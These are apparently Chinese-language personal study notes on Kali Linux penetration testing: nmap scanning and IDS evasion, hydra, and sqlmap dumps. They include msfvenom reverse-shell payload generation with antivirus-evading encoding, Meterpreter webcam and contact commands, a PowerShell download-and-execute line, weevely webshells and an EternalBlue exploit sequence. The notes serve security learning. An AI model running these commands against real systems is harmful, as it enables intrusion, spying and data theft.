Kali Linux
official::Kali安装
视频
text::Ubuntu Linux 
text::Web渗透工具
text::Web渗透 
〇、靶机
靶机下载
靶机配置
 vim /etc/network/interfaces (i) dhcp -> static address 192.168.1.180 netmask 255.255.255.0 gateway 192.168.1.1 (::wq) /etc/init.d/networking restart 
 
  | 
 
一、Kali基础
1 补充命令
root权限:
查找文件:
locate <name>:查找所有文件(无db时用updatedb进行更新) 
whereis <name>:查找二进制文件 
which <name>:查找可执行文件 
find [option] [path] [filename]:查找路径下文件 
网络设置(图形化界面在右上角网络配置——右键):
ifconfig:网络配置 
ip addr:网络信息 
ip route:路由信息 
其他命令:
whois <url>:收集信息 
wegt <url>:文件下载 
命令技巧:
strings <file> | grep <flag>:查询 file 中的关键字 flag 
2 安装命令
Bashtop安装和使用
 sudo apt-get update
  apt-cache search <packet>
  sudo apt-get install <packet>
  kali-linux-full   kali-linux-all   kali-linux-forensic   kali-linux-wireless  
 
  | 
 
3 远程登录
开启ssh
 
  sudo vim/leafpad /etc/ssh/sshd_config
  PermitRootLogin prohibit-password yes PasswordAuthentication yes
  /etc/init.d/ssh status  /etc/init.d/ssh start   /etc/init.d/ssh stop 
 
  | 
 
4 MAC伪造
 ifconfig wlan0 down
  macchanger -r wlan0
  macchanger -m 01:23:45:67:89:10 wlan0
  ifconfig wlan0 up
 
  | 
 
5 OpenSSL
OpenSSL
生成和验证证书。
6 工具管理
 /usr/share/applications/
  /usr/share/applications/<name>.desktop
 
  [Desktop Entry] Name=<name>  Comment=<comment>  Encoding=UTF-8 Exec=/usr/bin/<name>  Icon=kali--menu  StartupNotify=false Terminal=true Type=Application Categories=<categories> 
 
  | 
 
二、Misc
1 binwalk
识别、提取等文件操作
| 签名扫描选项参数 | 
作用 | 
| -B,-签名 | 
扫描目标文件的通用文件签名 | 
| -R,-raw= | 
扫描目标文件中指定的字节序列 | 
| -A,-opcode | 
s扫描目标文件中常见的可执行操作码签名 | 
| -m,-magic= | 
指定要使用的自定义魔术文件 | 
| -b,-dumb | 
禁用智能签名关键字 | 
| -I,-invalid | 
显示标记为无效的结果 | 
| -x,-exclude= | 
排除匹配< str >的结果 | 
| -y,-include= | 
仅显示匹配< str >的结果 | 
 
| 提取选项参数 | 
作用 | 
| -e,-extract | 
自动提取已知的文件类型 | 
| -D,-dd= | 
提取\签名(正则表达式),赋予文件扩展名\,然后执行\ | 
| -M,-matryoshka | 
递归扫描提取的文件 | 
| -d,-depth= | 
限制matryoshka递归深度(默认值:8级深度) | 
| -C,-directory= | 
将文件/文件夹提取到自定义(目录默认:当前工作目录) | 
| -j,-size= | 
限制每个提取文件的大小 | 
| -n, count= | 
限制解压缩文件的数量 | 
| -0,-run-as= | 
使用指定用户的权限执行外部提取实用程序 | 
| -l,-preserve-symlinks | 
不整理指向提取目录之外的提取的符号链接(危险) | 
| -r,-rm | 
提取后删除雕刻的文件 | 
| -z | 
从文件中提取数据,但不执行提取实用程序 | 
| -V | 
子目录提取到由偏移量命名的子目录中 | 
 
| 熵选项参数 | 
作用 | 
| -E | 
熵计算文件熵 | 
| -F,-fast | 
使用更快但不太详细的熵分析 | 
| -J | 
将保存图保存为PNG | 
| -Q,-nlegend | 
省略熵图中的图例 | 
| -N,-N | 
请勿生成熵绘图 | 
| -H,-high= | 
设置上升沿熵触发阈值(默认值:0.95) | 
| -L,-low= | 
设置下降沿熵触发阈值(默认值:0.85) | 
 
| 二进制差异选项参数 | 
作用 | 
| -W,-hexdump | 
对一个或多个文件执行hexdump / diff | 
| -G,-green | 
仅显示包含所有文件中相同字节的行 | 
| -i,-red | 
只显示包含所有文件中不同字节的行 | 
| -U,-blue | 
仅显示包含不同字节的行,这些字节在某些文件中是不同的 | 
| -u,-similar | 
仅显示所有文件之间相同的行 | 
| -w,-terse | 
区分所有文件,但只显示第一个文件的十六进制转储 | 
 
| 原始压缩选项参数 | 
作用 | 
| -X,-deflate | 
扫描原始deflate压缩流 | 
| -Z,-lzma | 
扫描原始lzma压缩流 | 
| -P,-partial | 
执行一次表面但更快的扫描 | 
| -S,-stop | 
在第一个结果后停止 | 
 
| 常规选项参数 | 
作用 | 
| -l,-length= | 
要扫描的字节数 | 
| -o,-offset= | 
在此文件偏移量处开始扫描 | 
| -O,-base= | 
向所有打印的偏移量添加基址 | 
| -K,-block= | 
设置文件块大小 | 
| -g,-swap= | 
扫描前每n个字节反转一次 | 
| -f,- log= | 
将结果记录到文件中 | 
| -c,-csv | 
将结果记录到csv格式的文件中 | 
| -t,-term | 
格式输出以适应终端窗口 | 
| -q,-quiet | 
抑制输出到stdout | 
| -v,-verbose | 
启用详细输出 | 
| -h,-help | 
显示帮助输出 | 
| -a,-finclude= | 
仅扫描名称与此regex匹配的文件 | 
| -p,-fexclude= | 
不扫描名称与此正则表达式匹配的文件 | 
| -s,-status= | 
在指定端口上启用状态服务器 | 
 
  binwalk <file>
  sudo binwalk -e --run-as=root <file>
 
  | 
 
2 foremost
用于分离文件
| 选项 | 
作用 | 
| -h | 
帮助 | 
| -V | 
显示版权信息并退出 | 
| -t | 
指定文件类型(-t jpeg,pdf…) | 
| -d | 
打开间接块检测(对于UNIX文件系统) | 
| -i | 
指定输入文件(默认为stdin) | 
| -a | 
写入所有标头,不执行错误检测(损坏的文件) | 
| -w | 
仅写入审核文件,不将任何检测到的文件写入磁盘 | 
| -o | 
设置输出目录(默认为输出) | 
| -c | 
设置要使用的配置文件(默认为foremost.conf) | 
| -q | 
启用快速模式。在512字节边界上执行搜索 | 
| -Q | 
启用安静模式。禁止输出消息 | 
| -v | 
详细模式。将所有消息记录到屏幕上 | 
 
三、 信息收集
IP分析
1 定义
被动扫描:在对方未知的情况下完成扫描。
主动扫描:主动发包,看响应。
2 maltego
一键版信息收集(通过域名)
下载后会自动加入在【01-信息收集 】中
注册登入:CE版(注册要科学上网) :
使用:
- “+” 号(上)—— Domain(左)——L1 - L3(1:更快,3:更全)
 
3 sn0int
official::sn0int
模块开发与使用
工具集,可以自己开发模块(本身没有模块,需要自己添加)
 sudo apt install debian-keyring gpg -a --export --keyring /usr/share/keyrings/debian-maintainers.gpg kpcyrd@archlinux.org | sudo tee /etc/apt/trusted.gpg.d/apt-vulns-sexy.gpg echo deb http://apt.vulns.sexy stable main | sudo tee /etc/apt/sources.list.d/apt-vulns-sexy.list sudo apt update sudo apt install sn0int
  pkg quickstart
  gpg --keyserver subkeys.pgp.net --recv <complete_key> gpg --export --armor <last_eight_key> | sudo apt-key add -
 
 
  workspace <name>
 
 
  add domain
  select domains
  noscope/delete domains where value=url
  noscope/delete subdomains where value=url target 
 
 
  use ctlogs —— run
  use dns-resolve —— run
  use url-scan —— run
 
  | 
 
4 NMAP
author::【工具】nmap使用手册(文末送书)
1.1 主机发现
 nmap -A 192.168.242.1 
 
  nmap -sP 192.168.242.1/24 nmap -sn 192.168.242.1/24 
 
  nmap -P0 192.168.242.1
 
  nmap -PS -v 192.168.242.135 nmap -PS80(端口),10-100  -v 192.168.242.135  
 
  nmap -PA -v 192.168.242.135
 
  nmap -PU -v 192.168.242.135
 
  nmap -PE -v 192.168.242.135  nmap -PP -v 192.168.242.135  nmap -PM -v 192.168.242.135 
 
  nmap -PR -v 192.168.242.1
 
  nmap -sL -v 192.168.242.1
 
  nmap -n -sL -v 192.168.242.1
 
  nmap -R -sL -v 192.168.242.1
 
  nmap --system-dns 192.168.242.1 192.168.242.135
 
  nmap -6 IPv6
 
  nmap --traceroute -v www.sunbridgegroup.com
 
  nmap -PY -v 192.168.1.103
 
  | 
 
1.2 端口扫描
端口详细状态
| 端口状态 | 
作用 | 
| open | 
开放 | 
| closed | 
关闭 | 
| filtered | 
阻塞的,未到达。不确定开放(可能是自己主机开了防火墙) | 
| unfiltered | 
可访问但未知开放 | 
| open | filtered | 
nmap无法确认端口状态 | 
| closed | filtered | 
nmap无法确认端口状态 | 
 
 nmap -T(0-5) 192.168.242.1
 
  nmap -p 80 192.168.242.1 nmap -p 80-100 192.168.242.1 nmap -p T:80,U:445 192.168.242.135 nmap -F 192.168.242.135 (快速扫描) nmap --top-ports 200 192.168.242.1 (扫描最有用的前200 个端口)
 
  nmap -sS -v 192.168.242.135
 
  nmap -sT -v 192.168.242.1
 
  nmap -sU -p 80-100 192.168.242.135
 
  nmap -sN 61.241.194.153(NULL 扫描) nmap -sF 61.241.194.153(FIN 扫描) nmap -sX 61.241.194.153(Xmas 扫描)
 
  nmap -sA 192.168.242.1
 
  nmap -sW -v -F 192.168.242.1
 
  nmap -sM -T4 192.168.242.135
 
  nmap -sT --scanflags SYNURG 192.168.242.1
 
  nmap -sI www.0day.co:80 192.168.242.1
 
  nmap -sO -T4 192.168.242.1
 
  | 
 
1.3 指纹识别与探测
 nmap -sV 192.168.242.135 nmap -sV -A 192.168.241.135
 
  nmap -sV --allports 192.168.242.135
 
  nmap -sV --version-intensity (0-9) 192.168.242.135
 
  nmap -sV --version-light 2 192.168.242.135
 
  nmap -sV --version-all 192.168.242.135
 
  nmap -sV --version-trace 192.168.242.135
 
  nmap -sS -sR 192.168.242.135
 
  nmap -O --osscan-limit 192.168.242.1
 
  nmap -O --osscan-guess 192.168.242.1
 
  | 
 
1.4 伺机而动
 nmap --min-hostgroup 30 192.168.242.1/24 nmap --max-hostgroup 30 902 192.168.242.1
 
  nmap --min-parallelism 100 192.168.242.1 nmap --max-parallelism 100 192.168.242.1
 
  nmap --initial-rtt-timeout 100ms 192.168.242.1 nmap --max-rtt-timeout 100ms 192.168.242.1 nmap --min-rtt-timeout 100ms 192.168.242.1
 
  nmap --host-timeout 1800000ms 192.168.242.1
 
  nmap --scan-delay 1s 192.168.242.1 nmap --max-scan-delay 1s 192.168.242.1
 
  | 
 
1.5 防火墙/IDS 逃逸
 nmap -f -v 61.241.194.153
 
  nmap --mtu 16 192.168.242.1
 
  nmap -D RND:11 192.168.1.104 nmap -D 192.168.1.104,192.168.1.103,192.168.1.101 192.168.1.104
 
  nmap -sI [www.0day.cn:80](http://www.0day.cn/) 192.168.1.104
 
  nmap --source-port 902 192.168.1.104
 
  nmap --data-length 30 192.168.1.104
 
  nmap --randomize-hosts 192.168.1.104
 
  nmap -sT -Pn --spoof-mac 0 192.168.1.104
 
  | 
 
1.6 信息搜集
 nmap --script ip-geolocation-* www.pcos.cn
 
  nmap --script whois-domain www.pcos.cn nmap --script whois-domain --script-args whois.whodb=nofollow www.ithome.com nmap -sn --script whois-domain -v -iL host.txt
 
  nmap -sn --script hostmap-ip2hosts www.pcos.cn
 
  nmap --script dns-brute www.pcos.cn nmap --script dns-brute dns-brute.threads=10 www.pcos.cn nmap --script dns-brute dns-brute.threads=10,dns-brute.hostlis www.pcos.cn
 
  nmap -p 445 445 192.168.1.104 --script membase-http-info
 
  nmap --script smb-security-mode.nse -p 445 119.29.155.45
 
  nmap --script smb-check-vulns.nse -p 445 119.29.155.45
 
  nmap -p80 --script http-stored-xss.nse/http-sql-injection.nse 119.29.155.45
 
  nmap -sU -p 161 --script=snmp-win32-services 192.168.1.104 nmap -sU -f -p 161 --script=snmp-win32-users 192.168.1.110
 
  nmap --script dns-brute --script-args dns-brute.domain=baidu.com
 
  nmap -sV -p 80 www.0day.com(HTTP 版本探测) nmap -p 80 --script=http-headers www.pcos.cn (HTTP 信息头探测) nmap -p 80 --script=http-sitemap-generator www.pcos.cn (爬行Web 目录结构)
 
  nmap -p 443 --script=ssl-enum-ciphers www.baidu.com
 
  nmap -p 22 --script ssh-hostkey --script-args ssh_hostkey=full 127.0.0.1
 
  | 
 
1.7 结果输出
 nmap 192.168.223.129 -oX Report.xml
 
  | 
 
5 masscan
端口扫描
KaliLinux-masscan使用详解
 masscan -p 80,21,3306,8888,8080 47.75.212.0/24
 
  | 
 
四、Web扫描
1 域名扫描
dirb:
dirsearch:
2 Web信息扫描
whatweb:
收集web相关信息
 
whatweb url:输出信息
 
-v:格式化输出
 
五、漏洞扫描
1 NMAP(主机漏洞)
脚本使用:
指定脚本:
sudo nmap --script ftp-vsftpd-backdoor 192.168.17.137 
 
全面扫描:
sudo nmap --script vuln 192.168.17.137 
 
更全面扫描:
 
2 zaproxy(Web漏洞)
sudo apt install zaproxy   
手动扫描:firefox(上右)——找到网址——攻击(站点)——主动扫描——警报(查看结果)
3 rips-0.55(PHP代码审计)
official::RIPS 
rips使用
该工具主要用于学习,实战需要更好的审计工具。
sudo mv -v rips-0.55 /var/www/html sudo service apache2 start 
 
 
 
   | 
 
六、暴力破解
1 hydra
暴力破解工具。
official::hydra (github.com)
 hydra -L users.txt -P password.txt ssh://ip hydra -L users.txt -P password.txt -vV ssh://ip 
 
  | 
 
七、远程控制
1 木马分类
正向木马:被控端感染木马后,主控端需要主动扫描才可以得知并连接。(不易暴露,但不知道木马什么时候被感染)
反向木马:在木马中留下 IP 地址,当被控端感染木马后会主动连接主控端。
2 netcat(瑞士军刀)
nc命令教程
nc -v ip port:探测端口是否开放(出现结果后可以直接中断) nc ip port:远程控制
   | 
 
3 MSFPC(生成远控软件)
MSFPC:msf payload creator
 msfpc <platform> <protocol> <ip>
 
  msfconsole - q -r file.rc
 
  | 
 
4 msfvenom(生成远控软件,更全面)
-p / --payload <payload>  -f / --format <format>  -o / --out <path>  -e <encode>  -i <num> 
 
  msfvenom --list-options -p <payloads>
  msfvenom -l encoders
 
  sudo msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.157.156 lport=5000 -f exe -o /var/payload.exe
  sudo msfvenom  -p windows/meterpreter/reverse_tcp lhost=192.168.157.156 lport=5000 -e x86/shikata_ga_nai -i 10 -f raw | msfvenom -e x86/alpha_super -i 5 -f exe -o /var/payload.exe
  sudo msfvenom -p android/meterpreter/reverse_tcp lhost=192.168.1.104 lport=9999 R>/var/pentestAndroid9999.apk
 
 
  msfconsole use exploit/multi/handler set payload  set lhost  set lport  exploit 
 
  help
 
  Webcam Commands  web_cam_list  webcam_snap <num>  webcam_stream <num> 
 
  check_root  dump_contacts  geolocate 
   | 
 
5 杀毒软件(upx加壳)
 病毒在线检测
 杀毒软件原理:
- 基于文件扫描的反病毒技术:检测二进制代码(检测硬盘),如果是病毒将加入特征库便于下次检测。
 
- 基于内存的反病毒技术:运行时发现,执行后的结构会与病毒特征匹配,匹配成功将不会被执行。
 
基于行为的反病毒技术:如果软件运行时执行的操作可疑(改注册表、控制进程等)将会被当成病毒查杀。
反杀毒方式:
 
改特征码。
 
- 添加花指令:添加无意义的指令改变特征码的位置。
 
- 程序加密:加壳,变成 PE 文件中的一串数据。(整个过程在加密过程中进行)
 
6 powerspolit
原理:被控端被控之后访问主控端的网站,利用被控端的 powershell 对被控端执行操作。
该程序主要用于搭建一个网站让被控端访问后控制被控端的 powershell,逃过杀毒软件的基于行为检测。
 powerspolit —— python3 -m http.server <port>
 
  iex(New-Object Net.webclient).DownloadString("url")
  get-help <name>
 
  AntivirusBypass——Find_AVSignature.ps1
  CodeExectuion——Invoke-Dlllnjection.ps1
 
 
  find-avsignature -StartByte <num> -EndByte <num> -Interval <num> -path <path> -outpath <path> Invoke-Dlllnjection.ps1 -ProcessID <ID> -DLL <path>
 
  | 
 
7 weevely(PHP恶意代码生成)
 weevely generate <password> <path>
  weeveky <url> <password>
  help
 
  | 
 
八、sqlmap
1 参数
sqlmap超详细笔记+思维导图 - bmjoker - 博客园 (cnblogs.com)
 -u/--url <url>   --dbms <sql>   --os <os>   --os-cmd="xxx"   --flush-session   --is-dba   --proxy   --user-agent   -data   --level n   --form   --batch  
 
  sudo sqlmap -update
  sudo apt-get install sqlmap
  git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
 
  | 
 
2 简单使用
  python sqlmap -u  <url> --is-dba
  python sqlmap -u  <url> --dbs --form --batch
  python sqlmap -u <url> --current-db --form --batch
  python sqlmap -u <url> -D 'DBname' --tables --form --batch
  python sqlmap -u <url> -D 'DBname' -T 'table' --columns --form --batch
  python sqlmap -u <url> -D 'DBname' -T 'table' -C 'column_1 , column_2' --dump --form --batch
 
 
  python sqlmap -u <目标URL> --batch --crawl=1 --level=5 --risk=3 --dump-all --batch 
 
 
  python sqlmap -u "http://127.0.0.1/login.php?id=1"
  python sqlmap -u "http://127.0.0.1/login.php" --data "id=1"
 
  | 
 
3 高级使用
 python sqlmap.py -u <url> --tamper=base64encode.py
 
  python sqlmap.py -u <url> --tamper=unmagicquotes.py
 
  | 
 
4 报错
Q1:报错:python: can't open file 'sqlmap': [Errno 2] No such file or directory
A1:是路径问题,解决如下:
cd /usr/bin 
python sqlmap -u http://www.xxx.com 
official::官网
1 msf 基础
路径:/usr/share/metasploit-framework
Metasploit 程序需要使用Postgresql数据库:
基础库:
metasploit基础库:文件位于源码根目录路径下的 libraries 目录中,包括 Rex,framework-core 和 framework-base 三部分。
 
Rex :是整个框架所依赖的最基础的一些组件,如包装的网络套接字、网络应用协议客户端与服务端实现、日志子系统、渗透攻击支持例程、PostgresQL以及 MySQL数据库支持等。
 
framework-core库:负责实现所有与各种类型的上层模块及插件的交互接口。
 
framework-base库:扩展了framework-core,提供更加简单的包装例程,并为处理框架各个方面的功能提供了一些功能类,用于支持用户接口与功能程序调用框架本身功能及框架集成模块。
 
模块:
- Aux(分为辅助模块):漏洞探测与扫描。
 
- Exploits(渗透攻击模块):渗透攻击。
 
- Post(后渗透攻击模块):shell 之后的进一步攻击。
 
- payloads(攻击载荷模块):用于攻击,程序注入,设置 shell。
 
- Encoders(编码器模块):编码。
 
- Nops(空指令模块):空指令。
 
插件作用:插件能够扩充框架的功能,或者组装已有功能构成高级特性的组件。插件可以集成现有的一些外部安全工具,如 Nessus、OpenVAS 漏洞扫描器等,为用户接口提供一些新的功能。
接口:
- msfconsole:控制终端。
 
- msfcli:命令行。
 
- msfgui:图形化界面。
 
- armitage:图形化界面。
 
- msfapi:远程调用接口。
 
功能程序: 
| Rank可靠性级别 | 
效果 | 
| excellent | 
漏洞利用程序绝对不会使目标服务崩溃,就像SQL注入、命令执行、远程文件包含、本地文件包含等等。除非有特殊情况,典型的内存破坏利用程序不可以被评估为该级别 | 
| great | 
该漏洞利用程序有一个默认的目标系统,并且可以自动检测适当的目标系统,或者在目标服务的版本检查之后可以返回到一个特定的返回地址 | 
| good | 
该漏洞利用程序有一个默认目标系统,并且是这种类型软件的”常见情况“(桌面应用程序的Windows 7,服务器的2012等) | 
| normal | 
该漏洞利用程序是可靠的,但是依赖于特定的版本,并且不能或者不能可靠地自动检测 | 
| average | 
该漏洞利用程序不可靠或者难以利用 | 
| low | 
对于通用的平台而言,该漏洞利用程序几乎不能利用(或者低于50%的利用成功率) | 
| manual | 
该漏洞利用程序不稳定或者难以利用并且基于拒绝服务(DOS)。如果一个模块只有在用户特别配置该模块的时候才会被用到,否则该模块不会被使用到,那么也可以评为该等级 | 
 
2 模块使用流程
操作系统攻击:
应用程序攻击:
- easyfilesharing——seh:http
 
客户机攻击:
 help
  show <name>
  search <name>
  show options
  use <num>
  info
  sessions
 
  show evasion
  use <evasion>
  show options
  set payload
 
 
  <exploits>
  show options
  set <options> <value>
  set payload <payload>
  exploit
 
  back / exit
 
  | 
 
3 其他命令
4 查找命令
 search <name> search name:<name> search port:<port> search path:<path> search platform:<name> search type:<cmd>  search cve:CVE-2017-8464
 
  search type:<name> name:<name> ...
 
  info <name>
 
  | 
 
5 注意事项
 msf 中的点是无法复制的(不可见的),要复制应到控制台中复制。
6 简单案例
使用流程:
- 查找CVE公布的漏洞
 
- 查找对应的exploit模块
 
- 添加模块参数
 
- 添加payload后门
 
- 执行exploit攻击
 
- 执行后续操作
 
# 永恒之蓝 use auxiliary/scanner/smb/smb_ms17_010 set rhosts [IP] use exploit/windows/smb/ms17_010_eternalblue set rhosts [IP] set payload windows/x64/shell_reverse_tcp exploit -j #-j 是在后台运行,不加成功后直接在前台执行 sessions sessions -i [ID] # 切换到指定ID的会话 background # 进入会话后输入。会话不断开继续保存在后台 sessions -k [ID] # 断开某个会话
   | 
 
十、内网穿透
 原理:让外网可以访问内网。
给防火墙开个洞
1 负载均衡lbd探测
kali系统—-DNS收集分析之lbd_kali lbd-CSDN博客